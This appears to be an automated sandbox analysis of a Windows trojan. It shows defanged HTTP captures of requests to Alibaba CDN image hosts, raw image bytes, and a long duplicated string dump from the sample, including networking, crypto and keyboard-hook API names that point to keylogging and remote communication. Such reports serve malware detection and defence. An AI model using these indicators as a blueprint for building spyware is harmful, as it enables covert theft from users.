Last-Modified: Thu, 28 May 2015 10:07:25 GMT

Expires: Thu, 29 May 2025 00:01:20 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache55.l2de1[298,200-0,M], cache49.l2de1[298,0], cache12.uk1[0,200-0,H], cache11.uk1[0,0]

Age: 64549

X-Cache: HIT TCP_MEM_HIT dirn:5:180216050

X-Swift-SaveTime: Mon, 01 Jun 2015 00:01:20 GMT

X-Swift-CacheTime: 315360000

.PNG........IHDR...x...x.....9d6.....bKGD..............pHYs...H...H.F.k>....vpAg...x...x..E.[..AIIDATx...w..Wu........}F.K.%...W0..1-..!@......p!..I....-...`l......n..,Y.k4..rzy...?.Q1...K<.~X....5..e}.^{.-....^.$../.[ze.....................<. ..B..6..o&......T.b...i.......R....!.uY..YT6...g......[V...qI.p..D..r.....o..[....>Lc[.L.oN..q......\...4$..#..FG.82..."..4$...*.E,.&sd/g_z. ....x.H..t..r..y...?\...-.......H.....D<}..e.......mR.T.A.R..~.b....R....?.?E.*.-.....'..@k0.I....}{.[o....=........4..G(.L..x);..g..}............tH.!.......<.Z..Of....4..S...X.e.d...V=. ...X"..g..._?..o.{q.......^&...:D....$.i.k.~v~.._.......>...CG..J ^:....T(....it.B..7>m.U..i...*{.n.r.i..F"T.^.....Gw.......B...".J.-%...V..*..Z...........}..g]y...Y....!f&p..D.(Z._k.=..U.0J.-1[..n...hM.....v...?B......*..V=...4MJ.*.r........&F....[o...k.k...a..... T!U/..F..\.....Xk(........v..Wk.e..S.<}.O.....5wR.......B.A..T..ZQ.j _.&.L.n.....?..m...G....q......:.il..M......`.5RJ....d...O......._...K.|..7.v.J.J.T&. . ..Z..C....C.aB..l.w..}........!.l"..i.Ia..:..5.N':.....V=.. ..0.(e.d..$.j";>.....[. U.%..!ja..KJLi.h.86RH.5l......".8_........q]Cg ..%....I..)......V.N..l....(...*VZk.....{_../.z......m.d.,.......nn...A...U..P,P.T.*$[(#.....{..>z......V.....R...*....`!.*.P......F#d..p..?....v.....*..X..8X....,,Sb....1.&..........3<..5....]r....9......i..q\.....V......X .i.D..iW.@{g'..w../n.2.).....X....8t........(..T..k39>N&;.......D.^J.../`(........t.m..~.......VD..y).$..^.....&.R.^;<<.......Y:....>.E..

<<< skipped >>>

GET /tps/i4/TB1.3PmHpXXXXczaXXXrywt4VXX-120-120.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms04.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 8040

Connection: keep-alive

Date: Sat, 23 May 2015 00:00:56 GMT

Last-Modified: Fri, 22 May 2015 09:30:01 GMT

Expires: Tue, 20 May 2025 00:00:56 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache7.l2de1[0,200-0,H], cache24.l2de1[0,0], cache1.uk1[0,200-0,H], cache11.uk1[2,0]

Age: 842173

X-Cache: HIT TCP_MEM_HIT dirn:6:807928366

X-Swift-SaveTime: Sat, 23 May 2015 00:05:22 GMT

X-Swift-CacheTime: 315359734

.PNG........IHDR...x...x.............tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:03538CFE005D11E5994391EEF42A82BC" xmpMM:InstanceID="xmp.iid:03538CFD005D11E5994391EEF42A82BC" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.did:CD49A9624F00E511B3B5E71217EB0A54" stRef:documentID="xmp.did:CD49A9624F00E511B3B5E71217EB0A54"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........PLTE& A.(J............KGd*$E.....#$.@...("EA=W.....*...a]x-&M...!.9...!.5...-)D....}.0)MQMe&!=94T$!4...ur.......)$A.....1)$=%!91)Q}z....mj}...\Wr.....-...kg..........!.1("B".=...5-U;4Z......60R$.=..2......iez...>9T...dar...qn.95K...LI\...EA[ $H2,M...4-Q,&F...61K.........yu.ut....XUm......DAS.....%..5...JE^...,);...VRk...51C..()"I......|{.0,E..$\Ym...............,&HTQc...kju......`]n.....:<9L..%...1,I!.>.........feq........14/O,$J& D......4*Qxu.e`{/'O.....)......... .:,&JJIV..7...5-XE>b/*I2)T......<:D...,$G.&J85E..)[Yeqn|.......{.B@N2 Q...>9Y... *4heu......&%-... .-(%

<<< skipped >>>

GET /tps/i2/TB1c5kBHVXXXXbnXXXXQoJ3FVXX-150-50.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 4399

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:17:18 GMT

Last-Modified: Thu, 28 May 2015 08:49:03 GMT

Expires: Thu, 29 May 2025 11:17:18 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache22.l2de1[343,200-0,M], cache29.l2de1[344,0], cache12.uk1[0,200-0,H], cache7.uk1[0,0]

Age: 23990

X-Cache: HIT TCP_MEM_HIT dirn:5:194212048

X-Swift-SaveTime: Mon, 01 Jun 2015 11:17:19 GMT

X-Swift-CacheTime: 315359999

.PNG........IHDR.......2......R.(....PLTE.)`..........)`.(_....*`.)].*^.(_.(^.(a.)_....*^.(].............*a..........*^.(`....(b.......i.. `.*\....U........'a....].....d..4j. _......................*a................N|..e...................7k.9j.............R.. b.)_................g..U..T..=p.2f.0e.(\...................v..n..j..Lz.;m.']...................~..=o...............................{..u..g..a..X..Dr..f...................q..q..Jv.............w..Gv.Fv.Bs.6i.......Y..............6j....S~.66"..."IDATX..YW[.G......[...a.B5...6..l....{/.vz..7g6.H.....\#.vG3..{n.L..q.p.5q....XH.Q......b..!!L....b\.....k.3...7..6&$.0..."#..1.......%.MW_."/p%.!...\U..X...uQ%.ZV......*g..,........2....4.W..c..........?1..LL.e..@ yD..'w.Q&.....e.....N......5V4.F*^f...._7....rc...!.KD.}..Y..9.".v..s.....{....4.49...d....:.4..tN.kd.p.........K..t....M..Y.......xD.V...(...M....ki...3q......F2....d..]43>...I.4*. 0.#..n..~..^.F......^}......=./...3H .c...B..4.[...>..z,.%.3.....^...fN.p.N>.4..r..v.x.Zm>.}/...:",c..a]&.=.A}..|...~.,....}....u..N........X....R....n...F..B..........\$%......./~....S<^..\.h.x...6...U...]S.....`...dS.C0.......o...).,...(..u..Q....:..xy.R. ..../..CR.Z .q...]2..x=.........O..'.v.`{.....d..Z.W[.....6/."...@.[.r.U....&.6;"opb...Rh.zn............C.........../...D._.h..).G.D6.M.g|/...."*....*..e..HG..f7o.......s{J...CtbE.d....c....Q...E~.z...$."..%......X........k..-.f.]X....>2....~9...[.L...~v......lm.&.l.~.R{{..x.,|...%_......._..>..R2Q.....i.N}H.5...R. nl..1.M..v..u..,...cX.=X<.N....~Vb.

<<< skipped >>>

GET /tps/i2/TB1nEVIIXXXXXcyXXXXYMrr2pXX-750-300.jpg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 63205

Connection: keep-alive

Date: Mon, 01 Jun 2015 07:10:50 GMT

Last-Modified: Mon, 01 Jun 2015 06:33:38 GMT

Expires: Thu, 29 May 2025 07:10:50 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache62.l2de1[606,200-0,M], cache44.l2de1[607,0], cache10.uk1[0,200-0,H], cache7.uk1[0,0]

Age: 38792

X-Cache: HIT TCP_MEM_HIT dirn:1:2597946

X-Swift-SaveTime: Mon, 01 Jun 2015 07:10:50 GMT

X-Swift-CacheTime: 315360000

......JFIF.....`.`.....C....................................................................C.......................................................................,...."..........................................k..........................!.1..AQ.aq."..2....#BR......$%V..&347CWbcru...56EFSUd......'(DGHTXet......8gs....................................@.........................!1A.Qa.."2q......R..#$3B.....LSbr..............?...(P..y.D.h.......$...G.GB. ..(Q..I...T..(c4..GK.R.jb...`f.<.....S.`P.F..2 .*<.U.4.. =hc<..ROI=4..)'B..:J.$........B...I....)'B....p...........P.....4(..Q..EI..(P....B...I.k"h..GLJ0...qFy.I=..\...I>......TJ2J"..hP.Q..B.......U...d...<.qH..".)C.'.J..(....3...E.....KJy.. .......{.Y......e.:IQ4[P..._4..z..DTM=R.........D.d.@.P.D..2.JOU.U.5&$.'....t=Q....P.Mh...i.@.jn.."#.Tt(.uI....*.$)?J.4...I$(...c4..!.A49...h.......(..uQP..=.U....2.(P..C..).)!...Tt.wB...t.$...G.sE.*n.#..R..9.'..=....@8..B.....u.(SRpJXY>.. ".R.>..#. -.i#.,v.R..:.(RF...:kv.2f<....)......I.v........s....%....N.........A.SQ>F......... .2...V...vC...... N....S......i.....8.....~,...}.._..);w.....I.......;kB.\..r.Z.............y@.X>.5;$k....0d. <...I...].MH....OU.9..4\.'4D.Qg<Q....B..j:t.."....;.I$.EJ#4.HP.@....I*...d..X....b-?E.....})9..8...rQQ4:...T2i.6.....3.B.!6Q..C....... "}....s.c.........v>.z....;q..5{#..k....T.o..mU"...GDN*...$.G.) ...I. F...U.0N...........h.I.(PRx.....D...M.$.QdP.U..:..P...(P.I2.(P...i.EB.pi...49...<.b........i..BM.EB...M=$...M...p..`...B....hR..h.iZzEB.B..I4i....

<<< skipped >>>

GET /tps/i2/TB17AE8HVXXXXaDXXXX9sla8VXX-750-300.jpeg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 60103

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:31:22 GMT

Last-Modified: Fri, 29 May 2015 08:57:47 GMT

Expires: Thu, 29 May 2025 11:31:22 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache10.l2de1[0,200-0,H], cache34.l2de1[0,0], cache5.uk1[0,200-0,H], cache7.uk1[0,0]

Age: 23164

X-Cache: HIT TCP_MEM_HIT dirn:7:897788266

X-Swift-SaveTime: Mon, 01 Jun 2015 11:38:52 GMT

X-Swift-CacheTime: 315359550

......JFIF.....H.H.....C.....................................%...#... , #&')*)..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((......,..............................................c........................!..1..AQa"q..2....#6BRt.....37Vbr....$5TUu......4Cs.....Å’v....&'ES..f..................................H........................!1.A.Qaq.."23.......Rr...#45BSTb....cs..$D%C..............?..Er..(.........(.P...@...R...c;T.v..[..$..(.P...@........(.P...@........(.P.4.T.F....P@...)...*H.).c.N.a......;.K...5.J.'N....(6_.o...6..0.%......^..X.d..ngs...y.O..RQ..7=.Hai.C.}k..F. .9.3.RNL.p..sb%a...9.....2..g..<..Qn*.(b..B..R@(.....5....s=O...8....Q.H.u.....kv........6;..jn..(&..<g....u...jH."...Y...P...@......I .M....}3.....xV...sn\."l'.]...".W...PmV"...S!X.aC.$.@.R.......".@..,.;y....\..(.&..yl.(U.?.YF..S.......:.1..*.*GJ.-=.....HpEf.luiUR....lE!...nC.8...../..."...I5%M..=.SX..uT.R#d..{..m..E].U.To..T..^Q.....8..9..V.....P.C .".(.P...@........(.P.=b.4.&..\....#8..q..RBWv<......R..Zu...4K..0O.?..F....=..j).....H..y.N..T2.....F!:..P...@........(.P...@........(.P.4.F.......I..d .u...T.(t......%.. .%. .D3........;f....\.....P.z..1P.I/......XE........z|..@x...V..J.....}..{.C...-........<D.89...*.Q.....J..}....*H.P..@..`.Q..O'.4.;..v..=.>y.nT8..l{.^1Z...ri[.......;.6."N.B~..&..G......'......<Q.8.'6.J.8...@........(..^..,.)..y.....1...u....w.*.....5L......"|.5|J$KQW$T..LC.4..`(.XO1=(.6..@...(.......K(a......WK..3....S.s].C.0...%..d....;.1.h.a...Uf.4....nC.......J.bF*nU(. .R.

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1628:

.text

.text

`.itext

`.itext

`.data

`.data

.idata

.idata

.didata

.didata

.rdata

.rdata

@.reloc

@.reloc

B.rsrc

B.rsrc

biClrImportant

biClrImportant

tagMSG

tagMSG

Windows

Windows

HKEY

HKEY

TWMKey

TWMKey

KeyData

KeyData

grfLocksSupported

grfLocksSupported

ENoMonitorSupportException

ENoMonitorSupportException

.uvCOu

.uvCOu

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

etNoMonitorSupportException

etNoMonitorSupportException

Operator

Operator

EVariantBadIndexError

EVariantBadIndexError

ssShift

ssShift

htKeyword

htKeyword

EInvalidOperation

EInvalidOperation

TList.TDirection

TList.TDirection

AOperator

AOperator

TThread.TSynchronizeRecord

TThread.TSynchronizeRecord

TOperation

TOperation

Operation

Operation

FOnExecute

FOnExecute

OnExecute

OnExecute

TList.Sort$ActRec

TList.Sort$ActRec

TComponent.FindComponent$ActRecx

TComponent.FindComponent$ActRecx

TComponent.FindComponent$ActRecT

TComponent.FindComponent$ActRecT

Uhe%D

Uhe%D

HelpKeyword

HelpKeyword

UnderstandsKeyword

UnderstandsKeyword

TRegKeyInfo

TRegKeyInfo

NumSubKeys

NumSubKeys

MaxSubKeyLen

MaxSubKeyLen

FCurrentKey

FCurrentKey

FRootKey

FRootKey

FCloseRootKey

FCloseRootKey

CloseKey

CloseKey

CreateKey

CreateKey

DeleteKey

DeleteKey

GetKeyInfo

GetKeyInfo

GetKeyNames

GetKeyNames

HasSubKeys

HasSubKeys

KeyExists

KeyExists

LoadKey

LoadKey

MoveKey

MoveKey

OpenKey

OpenKey

OpenKeyReadOnly

OpenKeyReadOnly

ReplaceKey

ReplaceKey

RestoreKey

RestoreKey

SaveKey

SaveKey

UnLoadKey

UnLoadKey

CurrentKey@

CurrentKey@

LastErrorMsg

LastErrorMsg

RootKey@

RootKey@

RootKeyName

RootKeyName

EInvalidGraphicOperation

EInvalidGraphicOperation

SupportsPartialTransparency

SupportsPartialTransparency

SupportsClipboardFormat

SupportsClipboardFormat

Monochrome

Monochrome

TCustomButton.TButtonStyle

TCustomButton.TButtonStyle

OnKeyDown

OnKeyDown

OnKeyPress(HG

OnKeyPress(HG

OnKeyUp

OnKeyUp

poPortrait

poPortrait

APort

APort

Port

Port

FAutoHotkeys

FAutoHotkeys

RethinkHotkeys

RethinkHotkeys

AutoHotkeysXqF

AutoHotkeysXqF

IsShortCut

IsShortCut

AutoHotkeys

AutoHotkeys

igoParentPassthrough

igoParentPassthrough

FAlwaysShowDragImages

FAlwaysShowDragImages

AlwaysShowDragImages

AlwaysShowDragImages

toFlickFallbackKeys

toFlickFallbackKeys

'TCustomGestureEngine.TGestureEngineFlag

'TCustomGestureEngine.TGestureEngineFlag

(TCustomGestureEngine.TGestureEngineFlags

(TCustomGestureEngine.TGestureEngineFlags

Supported

Supported

TKeyEvent

TKeyEvent

TKeyPressEvent

TKeyPressEvent

FHelpKeyword

FHelpKeyword

HelpKeyword4

HelpKeyword4

FOnKeyDown

FOnKeyDown

FOnKeyPress

FOnKeyPress

FOnKeyUp

FOnKeyUp

IsHintMsg

IsHintMsg

FNativeWheelSupport

FNativeWheelSupport

FWheelSupportMessage

FWheelSupportMessage

thHeaderItemLeftPressed

thHeaderItemLeftPressed

tsArrowBtnLeftPressed

tsArrowBtnLeftPressed

ttbThumbLeftPressed

ttbThumbLeftPressed

lrMonoChrome

lrMonoChrome

HelpKeywordT

HelpKeywordT

ssHotTrack

ssHotTrack

TWindowState

TWindowState

poProportional

poProportional

fsShowing

fsShowing

FWindowState

FWindowState

FKeyPreview

FKeyPreview

WantChildKey

WantChildKey

KeyPreview

KeyPreview

WindowState

WindowState

FBiDiKeyboard

FBiDiKeyboard

FNonBiDiKeyboard

FNonBiDiKeyboard

FEnumAllWindowsOnActivateHint

FEnumAllWindowsOnActivateHint

FOnActionExecute

FOnActionExecute

Keyword

Keyword

EnumAllWindowsOnActivateHint@

EnumAllWindowsOnActivateHint@

BiDiKeyboard@

BiDiKeyboard@

NonBiDiKeyboard

NonBiDiKeyboard

OnActionExecuted

OnActionExecuted

LicenseKey

LicenseKey

IWebBrowser

IWebBrowser

IWebBrowserApp

IWebBrowserApp

IWebBrowser2@

IWebBrowser2@

TWebBrowserStatusTextChange

TWebBrowserStatusTextChange

TWebBrowserProgressChange

TWebBrowserProgressChange

TWebBrowserCommandStateChange

TWebBrowserCommandStateChange

TWebBrowserTitleChange

TWebBrowserTitleChange

TWebBrowserPropertyChange

TWebBrowserPropertyChange

TWebBrowserBeforeNavigate2

TWebBrowserBeforeNavigate2

TWebBrowserNewWindow2

TWebBrowserNewWindow2

TWebBrowserNavigateComplete2

TWebBrowserNavigateComplete2

TWebBrowserDocumentComplete

TWebBrowserDocumentComplete

TWebBrowserOnVisible

TWebBrowserOnVisible

TWebBrowserOnToolBar

TWebBrowserOnToolBar

TWebBrowserOnMenuBar

TWebBrowserOnMenuBar

TWebBrowserOnStatusBar

TWebBrowserOnStatusBar

TWebBrowserOnFullScreen

TWebBrowserOnFullScreen

TWebBrowserOnTheaterMode

TWebBrowserOnTheaterMode

TWebBrowserWindowSetResizable

TWebBrowserWindowSetResizable

TWebBrowserWindowSetLeft

TWebBrowserWindowSetLeft

TWebBrowserWindowSetTop

TWebBrowserWindowSetTop

TWebBrowserWindowSetWidth

TWebBrowserWindowSetWidth

TWebBrowserWindowSetHeight

TWebBrowserWindowSetHeight

TWebBrowserWindowClosing

TWebBrowserWindowClosing

TWebBrowserClientToHostWindow

TWebBrowserClientToHostWindow

TWebBrowserSetSecureLockIcon

TWebBrowserSetSecureLockIcon

TWebBrowserFileDownload

TWebBrowserFileDownload

TWebBrowserNavigateError

TWebBrowserNavigateError

%TWebBrowserPrintTemplateInstantiation

%TWebBrowserPrintTemplateInstantiation

TWebBrowserPrintTemplateTeardown

TWebBrowserPrintTemplateTeardown

TWebBrowserUpdatePageStatus

TWebBrowserUpdatePageStatus

%TWebBrowserPrivacyImpactedStateChange

%TWebBrowserPrivacyImpactedStateChange

FOnWindowSetResizable

FOnWindowSetResizable

FOnWindowSetLeft

FOnWindowSetLeft

FOnWindowSetTop

FOnWindowSetTop

FOnWindowSetWidth

FOnWindowSetWidth

FOnWindowSetHeight

FOnWindowSetHeight

TWebBrowser&

TWebBrowser&

cmdID

cmdID

cmdexecopt

cmdexecopt

TWebBrowser

TWebBrowser

OnWindowSetResizable

OnWindowSetResizable

OnWindowSetLeftT

OnWindowSetLeftT

OnWindowSetTop

OnWindowSetTop

OnWindowSetWidth8

OnWindowSetWidth8

OnWindowSetHeight

OnWindowSetHeight

LocationURL

LocationURL

AMsg

AMsg

EIdCanNotBindPortInRange

EIdCanNotBindPortInRange

EIdCanNotBindPortInRangeL

EIdCanNotBindPortInRangeL

EIdInvalidPortRange,

EIdInvalidPortRange,

EIdInvalidPortRange

EIdInvalidPortRange

CheckIPVersionSupport

CheckIPVersionSupport

VPort

VPort

WSGetServByPort

WSGetServByPort

APortNumber

APortNumber

IdStackWindows

IdStackWindows

TIdSocketListWindows4

TIdSocketListWindows4

TIdSocketListWindows

TIdSocketListWindows

TIdStackWindowsg

TIdStackWindowsg

ReceiveMsg

ReceiveMsg

WSTranslateSocketErrorMsg

WSTranslateSocketErrorMsg

SupportsIPv6

SupportsIPv6

TIdStackWindows

TIdStackWindows

EIdIPVersionUnsupported

EIdIPVersionUnsupported

FSourcePort

FSourcePort

FDestPort

FDestPort

SourcePort

SourcePort

DestPort

DestPort

ftpTransfer

ftpTransfer

ftpReady

ftpReady

ftpAborted

ftpAborted

FClientPortMin

FClientPortMin

FClientPortMax

FClientPortMax

FPort

FPort

FPeerPort

FPeerPort

ClientPortMin

ClientPortMin

ClientPortMax@

ClientPortMax@

PeerPortSVW

PeerPortSVW

EIdPortRequired

EIdPortRequired

EIdTCPConnectionError

EIdTCPConnectionError

EIdTCPConnectionError8

EIdTCPConnectionError8

EIdObjectTypeNotSupported

EIdObjectTypeNotSupported

VMsgEnd

VMsgEnd

"EIdTransparentProxyUDPNotSupported

"EIdTransparentProxyUDPNotSupported

"EIdTransparentProxyUDPNotSupported|

"EIdTransparentProxyUDPNotSupported|

FPassword

FPassword

OpenUDP

OpenUDP

CloseUDP

CloseUDP

RecvFromUDP

RecvFromUDP

VPeerPort

VPeerPort

SendToUDP

SendToUDP

Password

Password

FBoundPort

FBoundPort

FBoundPortMax

FBoundPortMax

FBoundPortMin

FBoundPortMin

TIdTCPClientCustom'

TIdTCPClientCustom'

TIdTCPClientCustomL

TIdTCPClientCustomL

IdTCPClient

IdTCPClient

BoundPort

BoundPort

BoundPortMax

BoundPortMax

BoundPortMin

BoundPortMin

TIdTCPClient

TIdTCPClient

TIdTCPClientP

TIdTCPClientP

IPAsString

IPAsString

%EIdSocksUDPNotSupportedBySOCKSVersion

%EIdSocksUDPNotSupportedBySOCKSVersion

%EIdSocksUDPNotSupportedBySOCKSVersionL-N

%EIdSocksUDPNotSupportedBySOCKSVersionL-N

saUsernamePassword

saUsernamePassword

FUDPSocksAssociation

FUDPSocksAssociation

FDefaultPort

FDefaultPort

DefaultPort

DefaultPort

FLastCmdResult

FLastCmdResult

TIdTCPConnectionB

TIdTCPConnectionB

RaiseExceptionForLastCmdResult

RaiseExceptionForLastCmdResult

SendCmd

SendCmd

SendCmdf

SendCmdf

TIdTCPConnection

TIdTCPConnection

IdTCPConnection

IdTCPConnection

LastCmdResult

LastCmdResult

URLDecode

URLDecode

URLEncode

URLEncode

Password@

Password@

Port@

Port@

URLd

URLd

AURL

AURL

FHttpOnly

FHttpOnly

HttpOnly@

HttpOnly@

FCommentURL

FCommentURL

FPortList

FPortList

FRecvPort

FRecvPort

FUsePort

FUsePort

CommentURL

CommentURL

PortCount

PortCount

UsePort

UsePort

RecvPort

RecvPort

CompressFTPDeflate

CompressFTPDeflate

CompressFTPToIO

CompressFTPToIO

DecompressFTPFromIO

DecompressFTPFromIO

DecompressFTPDeflate

DecompressFTPDeflate

CompressHTTPDeflate

CompressHTTPDeflate

DecompressHTTPDeflate

DecompressHTTPDeflate

fPassThrough

fPassThrough

PassThrough

PassThrough

MakeFTPSvrPort

MakeFTPSvrPort

MakeFTPSvrPasv

MakeFTPSvrPasv

FURL

FURL

IdHTTPHeaderInfo

IdHTTPHeaderInfo

ProxyPassword

ProxyPassword

ProxyPort@

ProxyPort@

dsa_keygen

dsa_keygen

pub_key

pub_key

priv_key

priv_key

PEVP_PKEY

PEVP_PKEY

EVP_PKEY_union

EVP_PKEY_union

EVP_PKEY

EVP_PKEY

pkey

pkey

pkey_type

pkey_type

required_pkey_type

required_pkey_type

key_len

key_len

key_length

key_length

AUTHORITY_KEYID

AUTHORITY_KEYID

keyid

keyid

PAUTHORITY_KEYID

PAUTHORITY_KEYID

X509_PUBKEY

X509_PUBKEY

public_key

public_key

PX509_PUBKEY

PX509_PUBKEY

X509_CERT_AUX

X509_CERT_AUX

PX509_CERT_AUX

PX509_CERT_AUX

cert_info

cert_info

ex_nscert

ex_nscert

get_cert_methods

get_cert_methods

cert_crl

cert_crl

ppem_password_cb

ppem_password_cb

key_arg_length

key_arg_length

key_arg

key_arg

master_key_length

master_key_length

master_key

master_key

sess_cert

sess_cert

Ptlsext_ticket_key_cb!

Ptlsext_ticket_key_cb!

cert_store

cert_store

default_passwd_callback

default_passwd_callback

default_passwd_callback_userdata

default_passwd_callback_userdata

client_cert_cb

client_cert_cb

extra_certs

extra_certs

max_cert_list

max_cert_list

cert

cert

msg_callback

msg_callback

msg_callback_arg

msg_callback_arg

client_cert_engine

client_cert_engine

tlsext_tick_key_name

tlsext_tick_key_name

tlsext_tick_hmac_key

tlsext_tick_hmac_key

tlsext_tick_aes_key

tlsext_tick_aes_key

tlsext_ticket_key_cb

tlsext_ticket_key_cb

init_msg

init_msg

read_key

read_key

write_key

write_key

key_material_length

key_material_length

key_material

key_material

tmp_cert_type

tmp_cert_type

tmp_cert_length

tmp_cert_length

tmp_cert_verify_md

tmp_cert_verify_md

tmp_cert_req

tmp_cert_req

tmp_key_block_length

tmp_key_block_length

tmp_key_block

tmp_key_block

tmp_cert_request

tmp_cert_request

msg_len

msg_len

w_msg_hdr

w_msg_hdr

r_msg_hdr

r_msg_hdr

sslvrfFailIfNoPeerCert

sslvrfFailIfNoPeerCert

TPasswordEvent

TPasswordEvent

Certificate

Certificate

fsRootCertFile

fsRootCertFile

fsCertFile

fsCertFile

fsKeyFile

fsKeyFile

RootCertFile@

RootCertFile@

CertFile@

CertFile@

KeyFile

KeyFile

LoadRootCert

LoadRootCert

LoadCert

LoadCert

RootCertFiled

RootCertFiled

CertFiled

CertFiled

fPeerCert

fPeerCert

PeerCert

PeerCert

fOnGetPassword

fOnGetPassword

OnGetPassword

OnGetPassword

EIdOSSLLoadingRootCertError

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingCertErrorp

EIdOSSLLoadingCertErrorp

EIdOSSLLoadingKeyError

EIdOSSLLoadingKeyError

EIdOSSLLoadingKeyError(

EIdOSSLLoadingKeyError(

TIdHTTPConnectionType

TIdHTTPConnectionType

IdHTTP

IdHTTP

TIdHTTPOption

TIdHTTPOption

TIdHTTPOptions

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPProtocolVersion

TIdHTTPOnRedirectEvent

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

TIdHTTPOnHeadersAvailable

FHTTP

FHTTP

TIdHTTPResponse7

TIdHTTPResponse7

TIdHTTPResponse(

TIdHTTPResponse(

TIdHTTPRequest5

TIdHTTPRequest5

AHTTP

AHTTP

TIdHTTPRequest

TIdHTTPRequest

TIdHTTPProtocol;

TIdHTTPProtocol;

TIdHTTPProtocol

TIdHTTPProtocol

FHTTPProto

FHTTPProto

TIdCustomHTTP'

TIdCustomHTTP'

TIdCustomHTTP

TIdCustomHTTP

HTTPOptions

HTTPOptions

TIdHTTP

TIdHTTP

TIdHTTP@

TIdHTTP@

EIdHTTPProtocolExceptionn

EIdHTTPProtocolExceptionn

EIdHTTPProtocolException0

EIdHTTPProtocolException0

BaseHttpn

BaseHttpn

GetWebRequestByGet

GetWebRequestByGet

GetWebRequestByPost

GetWebRequestByPost

BaseHttp

BaseHttp

HttpHelper

HttpHelper

TFileOperation

TFileOperation

FileOperation

FileOperation

FCompletionPort

FCompletionPort

WebBrowser1

WebBrowser1

WebMainFrm

WebMainFrm

ShowCmd

ShowCmd

HotKey

HotKey

UrlMon

UrlMon

IdTCPServer

IdTCPServer

IdCustomTCPServer

IdCustomTCPServer

KGS!@#$%X

KGS!@#$%X

?456789:;

?456789:;

!"#$%&'()* ,-./0123

!"#$%&'()* ,-./0123

oleaut32.dll

oleaut32.dll

advapi32.dll

advapi32.dll

RegOpenKeyExW

RegOpenKeyExW

RegCloseKey

RegCloseKey

user32.dll

user32.dll

kernel32.dll

kernel32.dll

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExW

SetWindowsHookExW

MsgWaitForMultipleObjectsEx

MsgWaitForMultipleObjectsEx

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

MapVirtualKeyW

MapVirtualKeyW

LoadKeyboardLayoutW

LoadKeyboardLayoutW

GetKeyboardState

GetKeyboardState

GetKeyboardLayoutNameW

GetKeyboardLayoutNameW

GetKeyboardLayoutList

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyboardLayout

